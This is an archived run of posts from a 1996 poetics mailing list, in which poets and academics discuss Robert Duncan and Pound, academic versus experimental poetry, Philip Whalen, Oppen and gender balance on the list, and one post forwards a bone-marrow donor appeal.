> *No citation is given but presumably the quoted line comes from a letter of Duncan's to Pound.*
>
> *Carla Billitteri*

Not sure where it came from, and it may indeed actually be Ronald Duncan, but I know in later poems Duncan in a sense embraces cancer and boils and all the other breakdowns of the body (and body politic) as necessary, that what he perhaps earlier calls "multiversity" (as opposed to "university") in all its messiness is precisely what is needed, valued. So I wouldn't necessarily think a quote like this from Duncan is something in total agreement with "certain of Pound's more rabid views." The late poem by Duncan perhaps most central to this discussion is "In Blood's Domaine," from the Passages sequence. The poem appears in Ground Work II: In The Dark, and also in Selected Poems. But it touches on cancers, bacteria, scarlet eruptions and disease in general, and it refers directly to Pound ("But what ate at Pound's immortal Mind?"). I will not quote this poem here because of the disaster that various email margins and protocol would do to Duncan's spacing and long lines. I also recommend that if possible one read the poem in Ground Work, which allows for the lines to stretch out considerably, whereas the "standard" book size of Selected Poems makes the continuity of the poem suffer considerable difficulties.

charles alexander

↑ Index

702. Gabrielle Welford

Fwd: [Ravnish Gupta <[redacted]>: Save a Life (fwd)] (fwd)

Wed 28 Feb 1996

---------- Forwarded message ----------
Date: Tue, 27 Feb 1996 15:49:15 -1000
From: [redacted]
To: [redacted]
Subject: Fwd: [Ravnish Gupta <[redacted]>: Save a Life (fwd)]

> *Dear Friends,*
> *My name is Vrushali Ranadive and I am a 23 year old woman of Indian background. I am asking for your help in saving my life. Last June 1994, just three weeks after graduating from college, I was diagnosed with chronic myelogenous leukemia (CML). Many leukemia patients are cured with a bone marrow transplant which involves receiving marrow From a matched donor. I wasunable to find a match within my family so I have turned my hopes to the National Marrow Donor Program's (NMDP) volunteer donor registry.*

In April 1995 a perfect match was located for me through NMDP and I thought I would have a chance at being cured. Instead my worst fears came true -the person decided not to proceed with the donation which could save my life. Withouth a donor I don't have a chance to be cured; but you could help give me another chance!

There are two things you can do to help me in my quest to live a long and healthy life. First, we are trying to locate this "lost" donor and the best way to do that is to widely publicize my situation in the hope that the person will hear my story and reconsider. Because NMDP follows certain confidentiality rules, we are unable to know the name of this donor and establish direct contact. However, we may have a chance at reaching the donor or someone who knows him/her through this appeal. Please forward this information and/or home page address to your relatives and Indian friends across the country.

Second, you can help me and all other Indians looking for marrow donors by getting more Indians (or for that matter all South Asians) to join the NMDP registry of volunteers. This includes getting yourself typed and joining the registry, as well as holding drives through your community, religious/cultural organization, or college to get more Indians in the NMDP registry. The best chances for finding a match are within the same ethnic community and presently there are so few Indians in the registry that we are having a difficult time finding matches. Currently there are more than 10 Indians in the US looking for matches, none of whom are having any luck. Adding more people to the registry will improve our chances of finding a donor, and may give us the life-saving miracle match we need.

I encourage you to become involved in this cause which is not only important to me, but to the South Asian community at large. It is up to everyone to come together and help one another. Remember, through your efforts you may be able to accomplish the most extraordinary thing -- help save someone's life!

Please do not hesitate to call me at home in the evenings at [redacted] or send me email at [redacted] for more information regarding what you can do to help, or for information about the NMDP registry. More information regarding the procedure, donor centers or upcoming drives can be found on the World-Wide Web at http://greenmfg.me.berkeley.edu/marrow/

THE GIFT YOU MAY BE ABLE TO GIVE IS THE GREATEST GIFT OF ALL -- THE GIFT OF LIFE!

Thank you,

> *Vrushali.*
>
> *EMAIL:* [redacted]
> *WWW : http://greenmfg.me.berkeley.edu/marrow/*
> *Ph :* [redacted]
> **********

_-_-_-

Em

↑ Index

704. Charles Smith
(no subject)
Wed 28 Feb 1996

& Duncan McNaughton both spent time at Princeton.

(Whose major are you looking for Rod?)

↑ Index

705. David Kellogg
Re: PR, book dist.....and change
Wed 28 Feb 1996

On Tue, 27 Feb 1996, Thomas Bell wrote:

> *Another study was published last month that*
> *has potentialy greater impact. Cognitive-behavioral therapy*
> *physically alters the brain.*

Ummm... is this a surprise? When you say "physically alters," what do you mean? All memory & behavior physically alters the brain, strengthening & weakening synaptic connections.

Cheers,
David
~~~
~~~

706. **Fred Muratori**
G. Sobin Review
Wed 28 Feb 1996

Since Gustaf Sobin's work was a recent topic of discussion in this forum, I just thought some of you might like to know that I have a review of his selected poems (talisman house) in the latest issue of _American Book Review_.

****

Fred Muratori "From dreams and memories,"

([redacted]) words vanish first."

Reference Services Division - Rae Armantrout
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

707. **Maria Damon**
Re: dead horses, live theories
Wed 28 Feb 1996

---

though my interest in POETIX discussions has flagged (flogged) lately due to pressing deadlines (send good vibes and prayers please), dead horses couldn't drag me away. good post on class, ron s. it's more complex than one might assume. maria d

↑ Index

708. **Maria Damon**
Re: New Subscribers
Wed 28 Feb 1996

---

welcome all; while i know i can't really assume anything, there seems to be an inordinate number of male-type guyzies on the list, compared to the female-type guyzies. i'm curious about this. maria d

↑ Index

709. **Maria Damon**
Re: dead classes, living classes, theory?
Wed 28 Feb 1996

---

joe a writes

i wish there were a way to address what strikes me as a certain (white?) maleness in this conversation... i don't mean to be at all provocative here---women poets have been mentioned, certainly... but my-this post included, it's become a matter of men discussing various poetic histories... it's just that i wonder to what extent this question of bonding/privilege/class is intermingled with gender issues... and methinks it would be apropos to hear from women on this list, whether they're finding themselves resisting the discussion as it's currently taking shape...

*** (this is me now, maria): funny i read this after i posted my query about disproportionate # of males on POETRIX list; to tell you the truth, i'd been deleting msgs wth this and related subject headings because questions of literary genealogy are only of peripheral interest to me. i hadn't associated it with gender. fine-tuning who's in what "camp" isn't as compelling to me as Pomo/po-mo issues or fun banter... maria d

↑ Index

710. **Maria Damon**
Re: dead peg theory -Reply
Wed 28 Feb 1996

---

what's CFAP?

↑ Index

711. **Robert Drake**
renga on th web
Wed 28 Feb 1996

---

rengists who might want to share their collective & hydraheaded creations might check out the following URL as an example:

http://www.faximum.com/aha.d/wwwdiag.htm

luigi

↑ Index

712. **Daniel Bouchard**
Re: dead peg theory
Wed 28 Feb 1996

Again, a note from Tony Door, meant particularly for Henry.

[redacted]

>>
hey, ! Hey, ! HAY ! [is for . . .]

Henry, that was funny!

Actually I never went to brown (though i've been there) & it
did not help me "zaum"--Kleb. anywhere. [the problem with
experimental principles is that they are not generally DONE
in ack-ademia, because they tend to be anti-ACK-adenemic.
& yes, Osip would have DIS-approved of Ford & Rocky had
he ex-Patrioted here--he disapproved of Uncool Joe not
because of Commie but Tyrantie.

I like this Wm.S. as horse, I find it more satisfying than he as pig.

funny how Swift & Orwell have come into the discussion no?

Tony Door, Calabria/ITALIA
>>

↑ Index

713. **Loss Glazier**
Re: New Olson bio
Wed 28 Feb 1996

Yes, and SIUP's number is [redacted]

At 08:07 AM 2/28/96 -0500, you wrote:
>I just heard from Ralph Maud that his new Olson biography is finally
>out: _Charles Olson's Reading: A Biography_ ISBN 0-8093-1995-0,
>Southern Illinois Univ. Press, 448 pp., 6x9, $44.95.

↑ Index

714. **Thomas Bell**
Re: PR, book dist.....and change
Wed 28 Feb 1996

---

physically as in produces the same structural changes in the same area that prozac does.

On Wed, 28 Feb 1996, David Kellogg wrote:

> *On Tue, 27 Feb 1996, Thomas Bell wrote:*
>
> *Another study was published last month that*
> *has potentialy greater impact. Cognitive-behavioral therapy*
> *physically alters the brain.*
>
> *Ummm... is this a surprise? When you say "physically alters," what do*
> *you mean? All memory & behavior physically alters the brain,*

> *strengthening & weakening synaptic connections.*
>
> *Cheers,*
> *David*
> *~~~

717. Charles Smith
Bear's Head Arrests
Wed 28 Feb 1996

opening lines of "All About Art & LIfe":

a compulsion to make
marks on paper

whatever good or bad

"& as for meaning
let them alone to mean
themselves"

.....

The Art of Literature,
2nd Part

Gull flies ahead of his
reflection in the wave.

.....

fr "Technicalities for Jack Spicer":

Angels, someone tells us, have no dongs
But where should you get your poems
Except angelic peckers thrust never so subtly slender
into each ear
Skull neon whipcream illumination
?

.....

Social Graces

How the hell are you?

*

Cuckoo. I wouldn't have it
any other way.

*

I imagine,
That everyone takes me seriously at the wrong moments.
It is their privilege.

*

"Go on and dance with the guy what brung ya!"

--Phillip Whalen

↑ Index

718. **Charles Smith**
(no subject)
Wed 28 Feb 1996

---

ies of 1961" as exemplary of Whalen's use of nouns & then claim "an absolute opacity to the nominal" in his poetry seems a tad perverse. You can find opacity in his work, but only in a small part of his practice, even in his extensive use of lists. One of the lovely things about that work is the way he often foregrounds the strangeness of language & speech, and plays with the tension between opacity & transparency.

With Oppen's poetics of interrogation, examining the interplay of world/word/self/community, I DO read him as a spiritual poet, though perhaps that is my own perversity. I'm not sure he would have appreciated the characterization. His work struggles for an unattainable clarity, acknowledges the failure, & insists on continuing to speak (cf. the end of "Neighbors" in _Primitive_). It's the search, opposed to the posturing found in some others, that is meaningful to me here.

Not a big surprise, I guess, to hear that you don't respect Sobin's work. There are many ways to work musicality into a poem, & Sobin's careful attention to sound structures hardly evinces a "tin ear." Rather a successful voiced entanglement of world & word.

Emerson, in the essay Ed Foster mentioned the other day ("Experience") writes: "But the definition of _Spiritual_ should be, _that which is its own evidence_."

Doesn't Ken Irby's work belong in this discuusion?

Charles Smith,

"Ron, could you talk more about how you see Whalen using the noun? I think Snyder may sometimes approach this when he's not caught up in making a "point," something he'd characterize as "spiritual materialism." What about the noun in Oppen? Another poet I'd look at here is Sobin who so often brings across a sense of the numinous through his nouns, despite his assertions that his work has been a sruggle to get away from their static quality.

I'd also be inclined to add Larry Eigner to your list above..." (your ellipsis)

I'd thought of Larry as I wrote my original comments, actually. And Oppen I can see, though I'd never characterize him as a spiritual poet. However, I do seem to be allergic to Sobin, who strikes me as precious and pompous and tries for musicality with a very tin ear.

Turning to Whalen (a chance to see if, having moved this past week, my books are in enough order yet to find something), I get lost, as always I do, in On Bear's Head. A lot of his work doesn't translate easily to email (or even HTML), but here's an example of what I was getting at:

MYSTERIES OF 1961

Lazy tongs
Jacobs ladder
magnetized flywheel
gyroscope
folding mesh ring basket

*

Mr KNIBX, a sinister

*

"_A_ is for jelly,
_B_ is for Jell-O"

*

"You are the how
they call panic"

This is a text just crying for New Critical exposition, no? Tho, as somebody noted awhile back, it's got that "not about anything, it just is" quality all over. Actually, I read it as a list, moving outward from tiny phrases to the last two sections which I think function as equivalents to those early short lines with greater weight. There is, in Whalen's work, an absolute opacity to the nominal that is both insisted on (KNIBX) and permitted, rather than imposed (contrast here with the heroic backlighting of a Sobin or, in some places, Snyder)

The poem shifts between emotional states (as do so many of Whalen's, and so often in just this direction) from "lazy" to "panic." The next to last section is an index of the slightest shifts (from jelly to Jell-O in antialphabetical order) as ontologically absolute. What exactly IS that object that appears to be described in the first stanza and why is Mr KNIBX sinister? What I note, thinking of Whalen as a spiritual poet, is how integral the word "lazy" is to "tongs" and how

"how" as a noun has the same character (no going after the precious, but picking up an accent that is noted but not named).

Ron Silliman

↑ Index

719. **Maria Damon**
Ted Joans alert
Wed 28 Feb 1996

Yo Kathryne, Aldon, others:
does anyone have an address and/or more desirably a phone number for Ted Joans here or abroad (whereever he happens to be right now)? the mpls walker art ctre is thinking of "putting something together."
thanks thrice blessed,
maria d

↑ Index

720. **Maria Damon**
Re: _Bear's Head_ Arrests
Wed 28 Feb 1996

---

phil wailin'-rites:

Angels, someone tells us, have no dongs
But where should you get your poems
Except angelic peckers thrust never so subtly slender
                into each ear
                 Skull neon whipcream illumination
                ?

Does this remind anyone else of Richard Pryor's routine abt. his pet monkey humping him in the ear?

↑ Index

721. **Rod Smith**
Cage/Williams/Revill
Thu 29 Feb 1996

To follow up on a question I asked the list last week:

I've recently discovered that the Williams quote on pg 65 of the David Revill biography of Cage was actually written about George Antheil in 1927. Not about Cage in 1939 as the book indicates. The actual Williams quote appears on pg 61 of the _Selected Essays_. Antheil's name, which appears twice in the

Williams paragraph, was somewhere along the lines excised from the paragraph as it appears in the Cage bio.

--Rod

↑ Index

722. a hurricane triggered by butterfly's wings

Re: New Subscribers

Thu 29 Feb 1996

Maria Damon writes:
>
>welcome all; while i know i can't really assume anything, there seems to be
>an inordinate number of male-type guyzies on the list, compared to the
>female-type guyzies. i'm curious about this.

I'm curious too! Hang on a day or so, I'm going to scan the memberships of the listservs I'm on by eye-hand-pen (since computers are ill-equipped for determining gender based on the subtleties of naming), in a purely unscientific manner (hell, I don't even have a theory), and see if I can figure out some crude percentages.

paul
--
"If today were a metaphor, it would be a bad one." --alx

↑ Index

723. Chris Stroffolino

Re: dead classes, living classes, theory?

Thu 29 Feb 1996

Okay, some will bored by this (and I am curious whether Emily Lloyd, ShuanAnne T. and others may see this as male chestbeating) but re MW's latest post... No, I am not suggesting that we give up critique (even of the redhot variety) either, but that includes SELF-critique, no? Also, I'd rather see critique or engagement with poems than with "positions" which may have little to do with the poems.... As for "rejecting" the academy, I've been listening to THE CLASH alot lately, and despite their maleism there is an attitude there that seems to be almost universally dismissed in avant-garde "radical" poetry (or theory academic) discussions as of late.... the idea of a POPULAR BASE for their work which they play against CBS/COLUMBIA (now SONY). Perhaps the closest to this was Bukowski in recent poetry years.... I am not suggesting poets should expect large audiences, but only pointing out that perhaps biting the academic hand

that "feeds" (and other institutions---the "heirarchies" and althusserian hailing that still informs the various poetry subcultures despite the rebellions of previous generations) or would try to convince that it "feeds" seems a terrible taboo..... Perhaps we demand more sophistication than to find in a new ROOF book (or PENQUIN for that matter) an attack on the specific press similar to "they said we'd be artistically free/ when we signed that bit of paper/ they meant (make a little royalty) and worry about it later" and besides we're not in it for the money (as it were) (or a UNIVERSITY PRESS book).... but the equivalent of that is perhaps avant-guard language or theory legitimation and feeling hemmed in by habits when something you thought you did for intrinsic reasons is revealed to be, yet again, done for extrinsic reasons--- perhaps I am too restless, in a "self-defeating way" here, but it does seem that much of the sophisticated talk about how we can't do this, or do that, about "false consciousness" and the censors that can so easily be internalized onto any moment of true feeling that may seem like vulgar marxism or transcendence or love or desire or lust or "hate and war" even are really "repression...repression...repression"..... Now I love repression too, and take "too much monkey business" as a personal afront....sometimes, but not all the times but sometimes the dylan of "you gotta serve somebody"is right and as joni said "life is for learning" even though "I chide no breather but myself" is a well-rehearsed line, the things we hate the most in others may be in ourselves first and foremost. Yet, certainly the clash didn't always believe that, but there are moments when they did (in FOUR HORSEMAN for instance and DEATH OR GLORY where they turn their ire against themselves as well as their audience)..... Okay, enough said.....chris

↑ Index

724. Alan Sondheim

Various

Thu 29 Feb 1996

---

i have a few questions and comments, mostly naive. so it goes.

first, what constitutes an academic poet? most of the discussions on this list seem to have centered around generations, acronyms for movements, etc., all of which i would characterize as a concern for the academic. what is the relationship between poetry and professionalism in this re- gard? i can understand griot poetics well enough on one hand, chatterton on the other; it's the in-between that leaves me confused.

second, why is the poetics group concerned only with current writing, as if the defining were an occurrence back through say pound, when where is lucan,

chatterton, skelton, sturluson, etc. in these discussions? as if there were none, or useless yes yes but for shelley?

i fear professionals, organizations, groups, acronyms, movements, totali- ties, manifestos, definitions, defining anthologies, constructs, names, academics, and not leaving me breathing space.

third, two questions - can anyone write me about bernadette mayer's health since her stroke? and does anyone have dick higgins' email address?

finally, my own writing, which goes out to the lists i co-moderate (among other places) is easy to obtain at the url below, having little idea of its place would be among the posts here as poetics has currently developed -

alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html

↑ Index

725. Ron Silliman
Re: dead horses, live theories
Thu 29 Feb 1996

Rod,

> *Two of my heroes, Cage & Oppen, were college drop outs.*

Yes, but George is a great example. He came from significant money, as they say, and after his decade in Mexico (to which he fled after the Rosenberg arrests) what eased the way back for him was that his sister June Oppen Degnan had by then become one of the major fundraisers for the Democratic Party.

>
>Maybe we can't do what the Allen did because they already did it for us, but you can be sure that if we stop for even a short while it wld have to be done all over again. & good point you made abt the beats, someone sd somewhere "they weren't high school drop outs, they were grad school drop outs!"
>
When the Allen anthology came out there really was only one cohesive tradition recognized in print in the US. The objectivists had been erased almost entirely from the map. Pound and WCW were treated as odd cases (and Lowell was claiming Pound for his tradition, tho throwing

most of the Cantos out with the wash). Stein was a media joke. So the visible presence of a new thing had a major decentralizing effect.

Tho it wasn't just (or even so much) the Allen anthology that first did it as it was the bust of Howl and the court trial that followed, the best seller status of On the Road and the media interest in beatniks that made it possible for much of that material to get out. Duncan and Spicer had very ambivalent feelings (or worse) about the attention that went to these east coast kids being associated with North Beach. (Somewhere there's a comment, I don't recall from whom, that if Duncan had not been in Majorca in 1956, the beats never would have happened. Which obviously's not true, but suggests the depth of feeling.)

The radicalism of the L poets had relatively little to do with what was going on in the classrooms on the late 1960s, early 70s, but very much what was going on in the streets during those years, and in the villages and paddies of southeast Asia. As somebody who got his draft notice in 1965 and spent the next 7 years explaining why I was (1) not going and (2) not exactly willing to go to federal prison, the idea that French theory was a driver of such activity seems mind boggling. If you were young and male in the 1960s, your government wanted you to kill people and was willing to kill you in the process. Nothing very intellectual about that.

Ron

↑ Index

726. **Ron Silliman**
Multiversity
Thu 29 Feb 1996

"I know in later poems Duncan in a sense embraces cancer and boils and all the other breakdowns of the body (and body politic) as necessary, that what he perhaps earlier calls "multiversity" (as opposed to "university") in all its messiness is precisely what is needed, valued."

Multiversity was Clark Kerr's term for the "new" university of the 1950s, which he saw (positively) as directed by the needs of international capital. What it really stood for was the arrival of the business school as a major function for the first time. Kerr was the president of the University of California at the time of the Free Speech Movement, tho not the head of the Berkeley campus. Duncan is connecting the FSM arrests (described in detail in the poem) with first increases in the killing in Vietnam (the FSM preceded the first Vietnam Day rally by almost a year). RD, who always took his alumni status at Berkeley pretty seriously, was utterly opposed to the idea of the multiversity (refers to Kerr as "the worm's mouthpiece"), which is radically different than his concept, say, of multistability, the decentralized location of meaning in a

painting by, say, Dali, which is something he sought in his own poetry and found in Jess' collage work.

Ron

↑ Index

727. **Henry Gould**
Re: dead peg theory
Thu 29 Feb 1996

Tony - you'll find some references to Swift in Chapt. 17 of my new book, "Shakespeare - Who Him?" (Dadpole Univ. Press, no ISBN), where I work through the posthistorical teleological trace mechanism evident in a number of Anglo-American Shakespeare critics toward the view that the echo-trace of "Shakespeare - Who Him?" in the Bard of Avon vs. Bard in Bacon debate is actually a doubled echo or mirror-effect based on a genetic link between Shakespearatolophilia and the original Houyhnhmm [i.e. - to be explicit - "WHO - HIM?"] peoples of pre-Celtic Ireland.

By the way I'd like to offer a discount of 50% on this book to any interested members of this list - simply send cash (preferably gold plate in whatever amount you can afford) to : General Delivery, Major Deadwood Dadpole Univ. Press, Corn Kernel Circle, Burnside, RI. Thanks! - Henry Gould

↑ Index

728. **Henry Gould**
dead theories, live action figures
Thu 29 Feb 1996

Seems like the poetry that would be important or alive would take the academy into account as just one more phenomenon in a social matrix, and would drive toward the center of that matrix using language to break through static or stylized or hypocritical responses, or simplistic responses, to human experience; but it also seems true that poetry is a reality-in-itself, take for example Hart Crane who I would say used ironic and parodic modes of writing not simply to reflect reality but to enact some kind of new ecstatic existence (his "new Word never actually able to be enunciated"). Here we get into the issue of the "transcendent" as an "immanence" in "normal" reality. The "new". This also relates to the question of aesthetics - & I think many poets from Bishop to Williams to Crane (just to stick to this century) would say that the successful poem - whatever the current socio-political situation - stands on its own, gets up and walks around as a semi-independent entity. So the relevant or exciting poem somehow spans this distance between independent entity and very immediate political praxis. And there we have the unaccountable, the

unpredictable, the X factor, the fatal gift. Which is fundamentallly responsiveness to language in action, manifesting itself. - Henry Gould

↑ Index

729. **Daniel Bouchard**
Re: academic poet/ry
Thu 29 Feb 1996

I wonder (really--not being facetious) why the poetry & poets that are least accepted (promoted, hired, what-have-you) by the academe are the ones whose work can rarely be discussed w/o using "academic" language or fully appreciated w/o having a theory background? It seems off to call L=Apo "outsider" poetry, kind of, don't it? Isn't it, relative to the masses (some cartoon vision of an audience-at-large), more insider than insider? More academe than academe?

conscious of my feminine question marks,
Emily

_____

Emily,

Can you give some examples? I think I know what you're getting at but differently. Name a name or two in the not-so-facetious question you pose please.

[redacted]

↑ Index

730. **Schuchat**
Re: dead classes, living classes, theory?
Thu 29 Feb 1996

---

sure, it probably is dopey to compare poets on the basis of what college they went to. it is sort of like saying, well, that one's from alabama and this one from mississippi, what's the difference. the distinctions fuzz up the further away you are. nonetheless, it seems interesting to me that at the same time harvard students included poets ashbery, o'hara, creeley, donald hall, robert bly, the yale university english department was producing a steady stream of future cia types. james angleton, one-time editor of furioso and crazed mole-hunter, being only the most famous. the institutions' sensibilities have to affected these outcomes.

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731. Maria Damon
Re: dead classes, living classes, theory?
Thu 29 Feb 1996

---

chris s sez: ...that seems to be almost universally dismissed in avant-garde "radical"
poetry (or theory academic) discussions as of late....
the idea of a POPULAR BASE for their work which they play against...

well some of us "in the academy" are concerned with exactly that. don't forget we're here.--maria d

↑ Index

732. Robert Drake
Re: New Subscribers
Thu 29 Feb 1996

Maria Damon:
>
>welcome all; while i know i can't really assume anything, there seems to be
>an inordinate number of male-type guyzies on the list, compared to the
>female-type guyzies. i'm curious about this.

since this list is nominally private--new members can only find out about it by word ov mouth--praps we should each make a point of inviting sm of our good ol' girl friends to join?

lbd

↑ Index

733. Joe Amato
Re: academic poet/ry
Thu 29 Feb 1996

---

i'd add to emily's observation that what's at stake in NOT being hired as a poet in academe (or as a creative writer in general) generally has to do with one's ability to theorize one's work---and by work i mean both writing and teaching... that is, the relationship is inversely proportional: the more one theorizes, the more "radical" one is perceived, the less likely the offer...

and by "theory" i don't mean just academic theory, continental theory, etc... i mean self-reflection, awareness of what one is about as a writer and teacher, etc...

as i see it, and based on this (and other years') mla job lists (an academic litmus, yes) the prevailing currents underwriting "creative writing" positions in

academe have to do with an anti-theory constituency... it may *seem* to have shifted when one spends daily hours on this list... but when it comes down to hiring committees and the like, i've found creative writers in general---the ones who have a say in most of the lit. programs around the nation---to be as exclusively anti-theory as i've found the lit. and lit. theory types to be anti-poetic, or anti-literary (read "unwilling to consider a different set of writing imperatives")... and it's been this stance on the part of creative writers that has kept out of academe many of us who find theoretical insight indispensable to our writing and, again, teaching...

joe

↑ Index

734. **Donald J. Byrd**

Re: dead horses, live theories

Thu 29 Feb 1996

I would like to thank Ron Silliman for the sense of the history that he consistently brings to the discussions on this list. Given the massive cultural amnesia, the 60's and 70's have grown very dim and the 50's have been reduced to a kind of cartoon. (I am conscious that in the 50's this forty year span of the recent past would have been considered not history at all but current). Last night, in my seminar on Poetics, the _Ketjak_ period of Ron's work came up, and I found myself trying to put it in perspective in much the same way I would have had it been written in the 19th century.

There was some massive trauma in the 70's that has not been adequately accounted for. In one sense, it cuts us off the poetry of the Allen anthology, not totally but in ways that make reading it impossible without an insistent awareness of the historical distance.

The dramatic use of monetary policy accounts for part of it. I hate to sound like Pound and the credit cranks, but there seems no doubt that the Federal Reserve managed in the 70's to take control of the economy in ways that Pound's contemporaries had theorized but didn't have the data management systems to implement.

At any rate, it's hard to trace directly from something as vague as that to what happened in the mid-70's.

The continental theoretical sources to which the Language poets turned were not at that time academic currency. I taught a course about 1975 which I organized

around Foucault's _The Order of Things_, and
such readings in an English department were unheard of.
(Of course, by the end of 70's it was commonplace).

To pick up on Emily Lloyd's question: the odd
situation in the 50's and 60's as far as poetry was concerned
was that the "academic" poets were typically anti-intellectual.
The poets of the Allen anthology were the theorists and
intellectuals, and there is really nothing very surprising
about this. Traditionally, literary studies had to do
with matters of taste; the ideas--to the extent they were
of concern--were given. And literary study is still
deeply confused about ideas. The reason so much
academic theorizing is emtpy is that academics
developed a _taste_ for theory. To say nothing of the fact
that for many of them it is a time saving device: if you
develop a taste for, say, Foucault, you do not have to
read all of those god-awful dusty books that he read.

The great danger of the academification of poetry is that
literary study still conceives of itself as purveying a
certain set of tastes. That is specifically ("there
is no accounting for taste"), it is devoted to putting
its texts out of account. I suspect that many of the
teachers out there feel they have had some kind of
success when their student's leave their classes "liking"
Foucault or the poetry of Ron Silliman or whatever.
This is what it means to have an academic tradition. It
is not a question of whether some one gets their
bread by working in a university or driving a taxi.
An academic tradition of art is very like an academic
tradition of athletics, it has fans, cheerleaders, and
so forth. Some times on this list, I hear people cheering
for this or that poet or group of poets. It's a harmless
pass time, I suppose, but it is just, when it comes to that,
a pass time.

Don Byrd

↑ Index

735. **Jordan Davis**
Re: academic poet/ry
Thu 29 Feb 1996

I would add that after achieving a certain level of self-consciousness one becomes less disturbed by the increase in speed of people leaving the room.

"I very much doubt the expertise of newspaper boys who discuss sports." -- Adorno

↑ Index

736. **Jordan Davis**
Re: academic poet/ry
Thu 29 Feb 1996

---

and as for who's an academic poet, pace John Koethe, have you all seen the list of panelists and recipients for this year's NEA creative writing fellowships?

one disgruntled applicant,
Jd

↑ Index

737. **Patrick Foley**
Re: Adorno
Thu 29 Feb 1996

Re: Emily re: Adorno
Let 'em have it, Emily! Let 'em have it with both barrels! I'll reload for you!
Pat

↑ Index

738. **Fred Muratori**
Re: academic poet/ry
Thu 29 Feb 1996

Though I'm not in the creative writing job market myself, I can empathize with the position that a poet's ability to offer some theoretical or at least self-conscious commentary on his or her own work can have a detrimental effect. I think it's natural to grapple with one's creative demons/angels, to wonder about these strange words we've just aligned on a page and to speculate on how they got there in the forms they've assumed. When I've articulated this, however -- even if it's just a preferatory remark at a reading -- I've occasionally been met with a thinly-disguised disdain, as if my thinking about what I've done has

compromised the spontaneity or "purity" of the work itself, that by revealing a sense of form or strategy -- though that sense is often derived in reflection _after_ the fact of the poem -- I've revealed myself to be a kind of tradesman, a ghostwriter, a hack. It's as if poets are supposed to be idiot-savants, intuitively spewing profundities without the annoying complications of thought or motive or plain old curiosity. What I've occasionally encountered is an archaic view, to be sure, but it's one some poets themselves depend on for protection, and one that critics -- in a co-dependent relationship -- continue to foster since it confers a kind of hermeneutic authority the poet is all too ready to relinquish.

> *i'd add to emily's observation that what's at stake in NOT being hired as a poet in academe (or as a creative writer in general) generally has to do with one's ability to theorize one's work---and by work i mean both writing and teaching... that is, the relationship is inversely proportional: the more one theorizes, the more "radical" one is perceived, the less likely the offer...*
>
> *and by "theory" i don't mean just academic theory, continental theory, etc... i mean self-reflection, awareness of what one is about as a writer and teacher, etc...*
>
> *as i see it, and based on this (and other years') mla job lists (an academic litmus, yes) the prevailing currents underwriting "creative writing" positions in academe have to do with an anti-theory constituency... it may *seem* to have shifted when one spends daily hours on this list... but when it comes down to hiring committees and the like, i've found creative writers in general---the ones who have a say in most of the lit. programs around the nation---to be as exclusively anti-theory as i've found the lit. and lit. theory types to be anti-poetic, or anti-literary (read "unwilling to consider a different set of writing imperatives")... and it's been this stance on the part of creative writers that has kept out of academe many of us who find theoretical insight indispensable to our writing and, again, teaching...*
>
> *joe*

****
Fred Muratori "From dreams and memories,"
([redacted]) words vanish first."
Reference Services Division - Rae Armantrout
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

739. Daniel Bouchard
Re: academic poet/ry
Thu 29 Feb 1996

Emily,

I like the party metaphor. I got to the party once and thought no one wanted to talk to me, which I found frustrating. But let's stop: I loath metaphors.

I wasn't "taught" experimental poetry as much as I was exposed to it. If there was teaching going on it went right by me as I struggled to find a narrative or similar, familiar device in poetry that was completely new to me. I was completely baffled when I first read Oppen. Dozens of readings later, few other oeuvres speak to me with such clarity as his (which is all he ever sought from poetry: a limited, limiting clarity). Which is a rarity when there is so much experimental poetry to confront (or, read- whatever). I say experimental because I can't find a comfortable definition of "language poetry" and suspect that it's as applicable a term to writers who are stuck under it, as the "objectivists" were stuck in their day with a label convenient to some, but ultimately misused and misunderstood.

So before I get totally sidetracked: I don't think anyone needs a hefty academic background to understand experimental poetry (although I want to pose this question: can experimental poetry fail?). I find it better not to want a poem that's easily understood- a paragraph with line breaks in many cases. It took me many readings to appreciate Howe, DuPlessis, MacLow, and a long list of others, but once that connection is made, I have trouble believing they were "difficult" in the first place. And the richness and worthwhile-ness of the work is more apparent with subsequent readings.

[redacted]

↑ Index

740. Jordan Davis
Re: Adorno
Thu 29 Feb 1996

was that bashing?

is contiguity comment?

I think I was referring obliquely and ironically to the chest-beating scene.

Which I find almost as boring as the rejection of the chest-beating torch-passing scene.

Not at all like the recognition scene, which I like a lot.

Whoops!

I used to be a horkheimer-head, now I just adorno,
Jordan

↑ Index

741. **Daniel Bouchard**
fellow ships
Thu 29 Feb 1996

Jordan wrote (with disgruntlement):

>and as for who's an academic poet, pace John Koethe, have you all seen the list of panelists and recipients for this year's NEA creative writing fellowships?

_____

No, Jordan, I haven't seen them. (I don't follow the Grammys or Oscars either.) So tell us: who's getting what, how much and who picked 'em and why?

[redacted]

↑ Index

742. **Donald J. Byrd**
Re: Rob't Dunc. on "breakdown of the body politic"
Thu 29 Feb 1996

On Tue, 27 Feb 1996, Carla Billitteri wrote:

> Found this sentence in John Tytell, _Ezra Pound: The Solitary Volcano_
> (New York: Doubleday, 1987), p. 299, and wonder if anyone knows more about
> it or has a comment:
>
> Another young poet, Robert Duncan, wrote sustaining certain
> of Pound's more rabid views, commenting that `minorities of
> any kind are symptoms like boils, cancers,' signs of the
> breakdown of the body politic."
>
> No citation is given but presumably the quoted line comes from a letter
> of Duncan's to Pound.
>
> Carla Billitteri
>

I have never checked the archives, but it seems to be almost certain, as Charles Alexander, notes that Tytell mistook Robert Duncan for Ronald Duncan. To say, the least there is nothing in Duncan's work during the period that he was corresponding with Pound that would be consistent with such a comment.

In the 40's and 50's, Duncan was an anarchist, and was connected with people around the anarchist magazine, Win, during the years he was in the East. I know of no reason to believe that his assessment of the political situation would have been different when he was corresponding with Pound than it was when he wrote "Passages 13":

Satan looks forth from
men's faces:

Eisenhower's idiot grin, Nixon's
black jaw, the sly glare of Goldwater's eye, or
the lok of Stevenson lying in the U.N. that our
Nation save face .

His face multiplies from the time Roosevelt, Stalin,
Churchill, Hitler, Mussolini; from the dream
of Oppenheimer, Fermi, Teller, Vannevar Bush...

In the essay on Whitman he writes:

"Our field in which we see the form of the poem happening belongs ultimately to, is an immediate apprehension of our sense of locality in 'the infinite variety, the past, the surroundings of to-day, or what may happen in the furture,' the grand ensemble Whitman evokes."

